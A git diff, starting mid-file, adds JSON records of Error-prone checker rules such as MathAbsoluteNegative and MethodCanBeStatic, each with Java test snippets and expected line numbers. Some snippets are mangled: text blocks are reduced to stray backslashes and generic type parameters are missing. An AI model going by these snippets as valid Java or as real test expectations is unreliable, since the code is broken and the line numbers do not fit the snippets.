58 + ], + "code": "class Test {\n int[] results = {\n // BUG: Diagnostic contains: Long.compare(0L, 0L)\n Float.compare(0L, 0L),\n // BUG: Diagnostic contains: Long.compare(Long.valueOf(0L), 0L)\n Float.compare(Long.valueOf(0L), 0L),\n // BUG: Diagnostic contains: Integer.compare(0, 0)\n Float.compare(0, 0),\n // BUG: Diagnostic contains: Integer.compare(0, Integer.valueOf(0))\n Float.compare(0, Integer.valueOf(0)),\n\n // Not lossy.\n Float.compare((byte) 0, (byte) 0),\n Float.compare((short) 0, (short) 0),\n Float.compare('0', '0'),\n Float.compare(0.f, 0.f),\n };\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathAbsoluteNegative.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathAbsoluteNegative.json new file mode 100644 index 0000000..a877757 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathAbsoluteNegative.json @@ -0,0 +1,126 @@ +{ + "name": "MathAbsoluteNegative", + "language": "java", + "description": "Math.abs() does not always give a non-negative result. Please consider other methods for positive numbers, such as IntMath.saturatedAbs() or Math.floorMod().", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "random", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.Random;\n\n class Test {\n private static final Random random = new Random();\n\n void f() {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n Math.abs(random.nextInt());\n }\n }" + }, + { + "description": "randomWithBounds", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import java.util.Random;\n\n class Test {\n private static final Random random = new Random();\n\n void f() {\n Math.abs(random.nextInt(10));\n }\n }" + }, + { + "description": "negativeNumber", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "class Test {\n void f() {\n Math.abs(-9549451);\n }\n }" + }, + { + "description": "negativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n void f() {\n Math.abs(Math.sin(0) * 10.0);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "class Test {\n void f() {\n long random = Math.round(Math.random() * 10000);\n }\n }" + }, + { + "description": "negativeDouble", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import java.util.Random;\n\n class Test {\n void f() {\n double random = Math.abs(new Random().nextDouble());\n }\n }" + }, + { + "description": "hashAsInt", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "import static com.google.common.hash.Hashing.goodFastHash;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n int foo = Math.abs(goodFastHash(64).hashUnencodedChars(\"\").asInt());\n }\n }" + }, + { + "description": "hashAsLong", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import static com.google.common.hash.Hashing.goodFastHash;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long foo = Math.abs(goodFastHash(64).hashUnencodedChars(\"\").asLong());\n }\n }" + }, + { + "description": "hashPadToLong", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "import static com.google.common.hash.Hashing.goodFastHash;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long foo = Math.abs(goodFastHash(64).hashUnencodedChars(\"\").padToLong());\n }\n }" + }, + { + "description": "objectHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "class Test {\n void f(String s) {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long foo = Math.abs(s.hashCode());\n }\n }" + }, + { + "description": "identityHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "class Test {\n void f(Object o) {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long foo = Math.abs(System.identityHashCode(o));\n }\n }" + }, + { + "description": "uuid", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import java.util.UUID;\n\n class Test {\n void f(UUID uuid) {\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long foo = Math.abs(uuid.getLeastSignificantBits());\n // BUG: Diagnostic contains: MathAbsoluteNegative\n long bar = Math.abs(uuid.getMostSignificantBits());\n }\n }" + }, + { + "description": "guavaPrimitivesHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "class Test {\n void f(long l, int i, float f, double d) {\n int abs = 0;\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(com.google.common.primitives.Longs.hashCode(l));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(com.google.common.primitives.Ints.hashCode(i));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(com.google.common.primitives.Floats.hashCode(f));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(com.google.common.primitives.Doubles.hashCode(d));\n }\n }" + }, + { + "description": "jdkPrimitiveHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "class Test {\n void f(long l, int i, float f, double d) {\n int abs = 0;\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(Long.hashCode(l));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(Integer.hashCode(i));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(Float.hashCode(f));\n // BUG: Diagnostic contains: MathAbsoluteNegative\n abs = Math.abs(Double.hashCode(d));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathRoundIntLong.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathRoundIntLong.json new file mode 100644 index 0000000..557a46d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathRoundIntLong.json @@ -0,0 +1,78 @@ +{ + "name": "MathRoundIntLong", + "language": "java", + "description": "Math.round(Integer) results in truncation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "deleteRoundMethodInt", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f() {\n int y = Math.round(3);\n }\n }\n \n\n class Test {\n void f() {\n int y = 3;\n }\n }" + }, + { + "description": "deleteRoundMethodIntClass", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n void f() {\n Integer i = Integer.valueOf(3);\n int y = Math.round(i);\n }\n }\n \n\n class Test {\n void f() {\n Integer i = Integer.valueOf(3);\n int y = i;\n }\n }" + }, + { + "description": "replaceRoundMethodLong", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test {\n void f() {\n long l = 3L;\n int y = Math.round(l);\n }\n }\n \n\n import com.google.common.primitives.Ints;\n\n class Test {\n void f() {\n long l = 3L;\n int y = Ints.saturatedCast(l);\n }\n }" + }, + { + "description": "replaceRoundMethodLongClass", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "class Test {\n void f() {\n Long l = Long.valueOf(\"3\");\n int y = Math.round(l);\n }\n }\n \n\n import com.google.common.primitives.Ints;\n\n class Test {\n void f() {\n Long l = Long.valueOf(\"3\");\n int y = Ints.saturatedCast(l);\n }\n }" + }, + { + "description": "roundingFloatNegative", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "class Test {\n void f() {\n Float f = Float.valueOf(\"3\");\n int y = Math.round(f);\n }\n }" + }, + { + "description": "roundingDoubleNegative", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "class Test {\n void f() {\n Double d = Double.valueOf(\"3\");\n Long y = Math.round(d);\n }\n }" + }, + { + "description": "replaceRoundMethodAddParenthesis", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "import com.google.common.primitives.Ints;\n\n class Test {\n void f() {\n long l = 3L;\n long x = 6L;\n int y = Math.round(l / x);\n }\n }\n \n\n import com.google.common.primitives.Ints;\n\n class Test {\n void f() {\n long l = 3L;\n long x = 6L;\n int y = Ints.saturatedCast(l / x);\n }\n }" + }, + { + "description": "removeMathRoundLeaveParenthesisIfUnary", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "class Test {\n void f() {\n int y = Math.round(1 + 3) * 3;\n }\n }\n \n\n class Test {\n void f() {\n int y = (1 + 3) * 3;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MemoizeConstantVisitorStateLookups.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MemoizeConstantVisitorStateLookups.json new file mode 100644 index 0000000..d297ced --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MemoizeConstantVisitorStateLookups.json @@ -0,0 +1,62 @@ +{ + "name": "MemoizeConstantVisitorStateLookups", + "language": "java", + "description": "Anytime you need to look up a constant value from VisitorState, improve performance by creating a cache for it with VisitorState.memoize", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 218, + "branches": 22, + "apis": 4, + "test": [ + { + "description": "replaceSingleUsage", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.sun.tools.javac.util.Name;\n\n class Test {\n public Test(VisitorState state) {\n Name me = state.getName(\"Test\");\n }\n }\n \n\nimport com.google.errorprone.VisitorState;\nimport com.google.errorprone.suppliers.Supplier;\nimport com.sun.tools.javac.util.Name;\n\nclass Test {\n public Test(VisitorState state) {\n Name me = TEST.get(state);\n }\n\n private static final Supplier TEST = VisitorState.memoize(state -> state.getName(\"Test\"));\n}" + }, + { + "description": "prefersExistingStringConstant", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.sun.tools.javac.code.Type;\n\n class Test {\n private static final String MAP = \"java.util.Map\";\n\n public Test(VisitorState state) {\n Type map = state.getTypeFromString(MAP);\n Type map2 = state.getTypeFromString(\"java.util.Map\");\n }\n }\n \n\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.suppliers.Supplier;\n import com.sun.tools.javac.code.Type;\n\n class Test {\n private static final String MAP = \"java.util.Map\";\n\n public Test(VisitorState state) {\n Type map = JAVA_UTIL_MAP.get(state);\n Type map2 = JAVA_UTIL_MAP.get(state);\n }\n\n private static final Supplier JAVA_UTIL_MAP =\n VisitorState.memoize(state -> state.getTypeFromString(MAP));\n }" + }, + { + "description": "replaceConflictingValues", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.util.Name;\n\n class Test {\n public Test(VisitorState state) {\n Name className = state.getName(\"java.lang.Class\");\n Type classType = state.getTypeFromString(\"java.lang.Class\");\n Name lookupAgain = state.getName(\"java.lang.Class\");\n }\n }\n \n\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.suppliers.Supplier;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.util.Name;\n\n class Test {\n public Test(VisitorState state) {\n Name className = JAVA_LANG_CLASS_NAME.get(state);\n Type classType = JAVA_LANG_CLASS_TYPE.get(state);\n Name lookupAgain = JAVA_LANG_CLASS_NAME.get(state);\n }\n\n private static final Supplier JAVA_LANG_CLASS_NAME =\n VisitorState.memoize(state -> state.getName(\"java.lang.Class\"));\n private static final Supplier JAVA_LANG_CLASS_TYPE =\n VisitorState.memoize(state -> state.getTypeFromString(\"java.lang.Class\"));\n }" + }, + { + "description": "findingOnLookup", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.util.Name;\n\n class Test {\n public Test(VisitorState state) {\n // BUG: Diagnostic contains:\n Name className = state.getName(\"java.lang.Class\");\n }\n }" + }, + { + "description": "negative_doesntMemoizeTwice", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\nimport com.google.errorprone.VisitorState;\nimport com.google.errorprone.suppliers.Supplier;\nimport com.sun.tools.javac.util.Name;\n\nclass Test {\n private static final Supplier> ALLOWED_NAMES =\n VisitorState.memoize(state -> ImmutableSet.of(state.getName(\"foo\"), state.getName(\"bar\")));\n}" + }, + { + "description": "testSuppressWarnings", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.util.Name;\n\n class Test {\n @SuppressWarnings(\"MemoizeConstantVisitorStateLookups\")\n public Test(VisitorState state) {\n Name className = state.getName(\"java.lang.Class\");\n }\n\n @SuppressWarnings(\"MemoizeConstantVisitorStateLookups\")\n public void testMethod(VisitorState state) {\n Name className = state.getName(\"java.lang.Class\");\n }\n\n @SuppressWarnings(\"MemoizeConstantVisitorStateLookups\")\n class InnerClass {\n void innerMethod(VisitorState state) {\n Name className = state.getName(\"java.lang.Class\");\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MethodCanBeStatic.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MethodCanBeStatic.json new file mode 100644 index 0000000..8259aac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MethodCanBeStatic.json @@ -0,0 +1,286 @@ +{ + "name": "MethodCanBeStatic", + "language": "java", + "description": "A private method that does not reference the enclosing instance can be static", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 295, + "branches": 32, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private static int add(\n private int add(int x, int y) {\n return x + y;\n }\n }" + }, + { + "description": "positiveCycle", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n private int a(int x) {\n return b(x);\n }\n\n private int b(int x) {\n return a(x);\n }\n }\n \n\n class Test {\n private static int a(int x) {\n return b(x);\n }\n\n private static int b(int x) {\n return a(x);\n }\n }" + }, + { + "description": "negativeCycle", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n public int f(int x) {\n return x;\n }\n\n private int a(int x) {\n return b(x) + f(x);\n }\n\n private int b(int x) {\n return a(x) + f(x);\n }\n }" + }, + { + "description": "positiveChain", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "class Test {\n private static final int FOO = 1;\n\n private int a() {\n return FOO;\n }\n\n private int b() {\n return a();\n }\n\n private int c() {\n return b();\n }\n\n private int d() {\n return c();\n }\n }\n \n\n class Test {\n private static final int FOO = 1;\n\n private static int a() {\n return FOO;\n }\n\n private static int b() {\n return a();\n }\n\n private static int c() {\n return b();\n }\n\n private static int d() {\n return c();\n }\n }" + }, + { + "description": "positiveChain_oneFix", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "class Test {\n private static final int FOO = 1;\n\n // BUG: Diagnostic contains: MethodCanBeStatic\n private int a() {\n return FOO;\n }\n\n private int b() {\n return a();\n }\n\n private int c() {\n return b();\n }\n\n private int d() {\n return c();\n }\n }" + }, + { + "description": "positiveRecursive", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "class Test {\n private int a(int x) {\n return a(x);\n }\n }\n \n\n class Test {\n private static int a(int x) {\n return a(x);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "class Test {\n int base = 0;\n\n private int f(int x, int y) {\n return base++ + x + y;\n }\n }" + }, + { + "description": "positiveTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private static T f(\n private T f(int x, int y) {\n return null;\n }\n }" + }, + { + "description": "negativeSuppressedByKeep", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "import com.google.errorprone.annotations.Keep;\n\n class Test {\n @Keep\n private int add(int x, int y) {\n return x + y;\n }\n }" + }, + { + "description": "negativeTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "class Test {\n private T f(int x, int y) {\n return null;\n }\n }" + }, + { + "description": "negativeConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "class Test {\n Test() {}\n }" + }, + { + "description": "negativePublic", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "class Test {\n public String toString() {\n return \"\";\n }\n }" + }, + { + "description": "negativeSynchronized", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "class Test {\n private synchronized String frobnicate() {\n return \"\";\n }\n }" + }, + { + "description": "negativeSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 321 + ], + "code": "class Test {\n @SuppressWarnings(\"MethodCanBeStatic\")\n private String f() {\n return \"\";\n }\n }" + }, + { + "description": "negativeSuppressedAlt", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "class Test {\n @SuppressWarnings(\"static-method\")\n private String f() {\n return \"\";\n }\n }" + }, + { + "description": "negativeOverride", + "expected-problems": null, + "expected-linenumbers": [ + 353 + ], + "code": "class Test {\n @Override\n public String toString() {\n return \"\";\n }\n }" + }, + { + "description": "negativeMethodCall", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "class Test {\n int x;\n\n int f() {\n return x++;\n }\n\n private int g() {\n return f();\n }\n }" + }, + { + "description": "nativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 390 + ], + "code": "class Test {\n private native int f();\n }" + }, + { + "description": "innerClass", + "expected-problems": null, + "expected-linenumbers": [ + 403 + ], + "code": "class Test {\n class Inner {\n private int incr(int x) {\n return x + 1;\n }\n }\n }" + }, + { + "description": "innerClass_static", + "expected-problems": null, + "expected-linenumbers": [ + 421 + ], + "code": "class Test {\n class Inner {\n // BUG: Diagnostic contains: static\n private int incr(int x) {\n return x + 1;\n }\n }\n }" + }, + { + "description": "negativeEnum", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "enum Test {\n VALUE {\n private void foo() {}\n }\n }" + }, + { + "description": "negativeAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 454 + ], + "code": "class Test {\n static void foo() {\n new Object() {\n private void foo() {}\n };\n }\n }" + }, + { + "description": "negativeLocal", + "expected-problems": null, + "expected-linenumbers": [ + 471 + ], + "code": "class Test {\n static void foo() {\n class Local {\n private void foo() {}\n }\n }\n }" + }, + { + "description": "positiveLocal", + "expected-problems": null, + "expected-linenumbers": [ + 489 + ], + "code": "class Test {\n static void foo() {\n class Local {\n // BUG: Diagnostic contains: static\n private void foo() {}\n }\n }\n }" + }, + { + "description": "negative_referencesTypeVariable", + "expected-problems": null, + "expected-linenumbers": [ + 507 + ], + "code": "class Test {\n private int add(int x, int y) {\n T t = null;\n return x + y;\n }\n }" + }, + { + "description": "negative_baseClass", + "expected-problems": null, + "expected-linenumbers": [ + 523 + ], + "code": "class A {\n void foo() {}\n }\n \n\n class B extends A {\n private void bar() {\n foo();\n }\n }" + }, + { + "description": "serialization", + "expected-problems": null, + "expected-linenumbers": [ + 545 + ], + "code": "import java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.ObjectStreamException;\nimport java.io.IOException;\nimport java.io.Serializable;\n\nclass Test implements Serializable {\n private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {}\n\n private void writeObject(ObjectOutputStream stream) throws IOException {}\n\n private void readObjectNoData() throws ObjectStreamException {}\n\n private Object readResolve() {\n return null;\n }\n\n private Object writeReplace() {\n return null;\n }\n}" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 576 + ], + "code": "import java.util.function.ToIntBiFunction;\n\n class Test {\n private int add(int x, int y) {\n return x + y;\n }\n\n ToIntBiFunction f = this::add;\n ToIntBiFunction g = (x, y) -> this.add(x, y);\n }\n \n\n import java.util.function.ToIntBiFunction;\n\n class Test {\n private static int add(int x, int y) {\n return x + y;\n }\n\n ToIntBiFunction f = Test::add;\n ToIntBiFunction g = (x, y) -> Test.add(x, y);\n }" + }, + { + "description": "multipleReports", + "expected-problems": null, + "expected-linenumbers": [ + 610 + ], + "code": "class Test {\n // BUG: Diagnostic contains: static\n private int a(int x) {\n return b(x);\n }\n\n // BUG: Diagnostic contains: static\n private int b(int x) {\n return a(x);\n }\n }" + }, + { + "description": "abstractMethod_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 632 + ], + "code": "class Test {\n private abstract static class Foo {\n abstract void frobnicate();\n }\n }" + }, + { + "description": "defaultMethodExempted", + "expected-problems": null, + "expected-linenumbers": [ + 647 + ], + "code": "class Test {\n private interface Foo {\n default void foo() {}\n }\n }" + }, + { + "description": "keepAnnotationsExempted", + "expected-problems": null, + "expected-linenumbers": [ + 662 + ], + "code": "package org.apache.beam.sdk.transforms;\n\n public class DoFn {\n public @interface ProcessElement {}\n }\n \n\n class Test {\n @org.apache.beam.sdk.transforms.DoFn.ProcessElement\n private void foo() {}\n }" + }, + { + "description": "privateMethod_overriddenWithinFile_cannotBeStatic", + "expected-problems": null, + "expected-linenumbers": [ + 685 + ], + "code": "class Test {\n private static class A {\n public int get() {\n return 0;\n }\n }\n\n private static class B extends A {\n private final int x = 1;\n\n @Override\n public int get() {\n return x;\n }\n }\n }" + }, + { + "description": "privateMethod_overriddenWithinFile_bothDoNotReferenceInstanceState_cannotBeStatic", + "expected-problems": null, + "expected-linenumbers": [ + 711 + ], + "code": "class Test {\n private static class A {\n public int get() {\n return 0;\n }\n }\n\n private static class B extends A {\n @Override\n public int get() {\n return 1;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisformattedTestData.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisformattedTestData.json new file mode 100644 index 0000000..035d16f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisformattedTestData.json @@ -0,0 +1,62 @@ +{ + "name": "MisformattedTestData", + "language": "java", + "description": "This test data will be more readable if correctly formatted.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 120, + "branches": 10, + "apis": 3, + "test": [ + { + "description": "alreadyFormatted_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n);\n }\n }" + }, + { + "description": "onlyDiffersByFinalNewline_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n);\n }\n }" + }, + { + "description": "misformatted_suggestsFix", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n)\n .addOutputLines(\n \"Test.java\",\n \\\n);\n }\n }\n \n\n import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n)\n .addOutputLines(\n \"Test.java\",\n \\\n);\n }\n }" + }, + { + "description": "trailingComments_notIncludedInPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\", //\n \"package foo; class Test {}\");\n }\n }\n \n\n import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\", //\n \\\n);\n }\n }" + }, + { + "description": "onlyDiffersByIndentation_notReindented", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n);\n }\n }" + }, + { + "description": "escapesSpecialCharacters", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n);\n }\n }\n \n\n import com.google.errorprone.BugCheckerRefactoringTestHelper;\n\n class Test {\n void method(BugCheckerRefactoringTestHelper h) {\n h.addInputLines(\n \"Test.java\",\n \\\n);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEmptyVarargs.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEmptyVarargs.json new file mode 100644 index 0000000..da0bfde --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEmptyVarargs.json @@ -0,0 +1,30 @@ +{ + "name": "MisleadingEmptyVarargs", + "language": "java", + "description": "`thenThrow` with no arguments is a no-op, despite reading like it makes the mock throw.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 27 + ], + "code": "import static org.mockito.Mockito.doThrow;\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n // BUG: Diagnostic contains:\n when(test.test()).thenThrow();\n\n // BUG: Diagnostic contains:\n doThrow().when(test).test();\n return null;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import static org.mockito.Mockito.doThrow;\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n when(test.test()).thenThrow(new IllegalStateException());\n doThrow(new IllegalStateException()).when(test).test();\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEscapedSpace.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEscapedSpace.json new file mode 100644 index 0000000..dfca5bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEscapedSpace.json @@ -0,0 +1,86 @@ +{ + "name": "MisleadingEscapedSpace", + "language": "java", + "description": "Using \\\\s anywhere except at the end of a line in a text block is potentially misleading.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 16, + "apis": 1, + "test": [ + { + "description": "misleadingEscape", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private static final String FOO = \" \\\\s \";\n }\\" + }, + { + "description": "literalBackslashS", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "class Test {\n private static final String FOO = \" \\\\\\\\s \";\n }\\" + }, + { + "description": "asSingleCharacter_misleading", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private static final char x = '\\\\s';\n }\\" + }, + { + "description": "withinTextBlock_notAtEndOfLine_misleading", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n private static final String FOO =\n // BUG: Diagnostic contains:\n \\\n;\n private static final String BAZ =\n // BUG: Diagnostic contains:\n \\\n;\n }" + }, + { + "description": "atEndOfLine_notMisleading", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "class Test {\n private static final String FOO =\n \\\n;\n }" + }, + { + "description": "multipleAtEndOfLine_notMisleading", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "class Test {\n private static final String FOO =\n \\\n;\n }" + }, + { + "description": "withinCommentInBrokenUpString_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "class Test {\n private static final String FOO = \"foo\" + /* \\\\s */ \" bar\";\n }\\" + }, + { + "description": "atEndOfString_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n private static final String FOO =\n \\\n;\n }" + }, + { + "description": "escapedSpaceAtEndOfString", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private static final String FOO = \"foo\\\\s\";\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingBraces.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingBraces.json new file mode 100644 index 0000000..b806462 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingBraces.json @@ -0,0 +1,38 @@ +{ + "name": "MissingBraces", + "language": "java", + "description": "The Google Java Style Guide requires braces to be used with if, else, for, do and while statements, even when the body is empty or contains only a single statement.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import java.util.List;\n\n class Test {\n void f(boolean x, List is) {\n 